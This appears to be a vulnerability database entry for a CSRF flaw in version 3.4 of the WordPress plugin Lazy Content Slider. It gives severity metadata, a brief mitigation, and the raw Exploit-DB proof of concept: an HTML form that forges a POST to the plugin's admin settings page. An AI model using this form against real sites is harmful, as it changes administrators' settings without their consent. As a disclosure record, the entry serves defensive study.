WordPress Lazy content Slider Plugin - CSRF Vulnerability

vendor:

Lazy Content Slider

by:

Mojtaba MobhaM

6,8

CVSS

MEDIUM

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Lazy Content Slider

Affected Version From: 3.4

Affected Version To: 3.4

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:lazy_content_slider

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win

2016

WordPress Lazy content Slider Plugin – CSRF Vulnerability

The vulnerable page is /wp-content/plugins/lazy-content-slider/lzcs_admin.php. The code for CSRF.html is an HTML form with input fields for lzcs, lzcs_color, lzcs_count and a submit button.

Mitigation:

Implementing CSRF protection tokens, validating input, and using secure communication protocols can help mitigate CSRF attacks.

Source

Exploit-DB raw data:

######################
# Exploit Title : WordPress Lazy content Slider Plugin - CSRF Vulnerability
# Exploit Author : Persian Hack Team
# Vendor Homepage : https://wordpress.org/support/view/plugin-reviews/lazy-content-slider
# Category: [ Webapps ]
# Tested on: [ Win ]
# Version: 3.4
# Date: 2016/07/08
######################
#
# PoC:
# The vulnerable page is
# /wp-content/plugins/lazy-content-slider/lzcs_admin.php
# The Code for CSRF.html is

<html>
<form action="http://localhost/wp/wp-admin/admin.php?page=lazy-content-slider%2Flzcs.php" method="POST">
<input name="lzcs" type="text" value="lzcs">
<input name="lzcs_color" type="text" value="dark">
<input type="text" name="lzcs_count" value="5">
<input type="submit" value="go!!">
</form>
</html>

#
######################
# Discovered by :  Mojtaba MobhaM 
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R And All Persian Hack Team Members
# Homepage : http://persian-team.ir
######################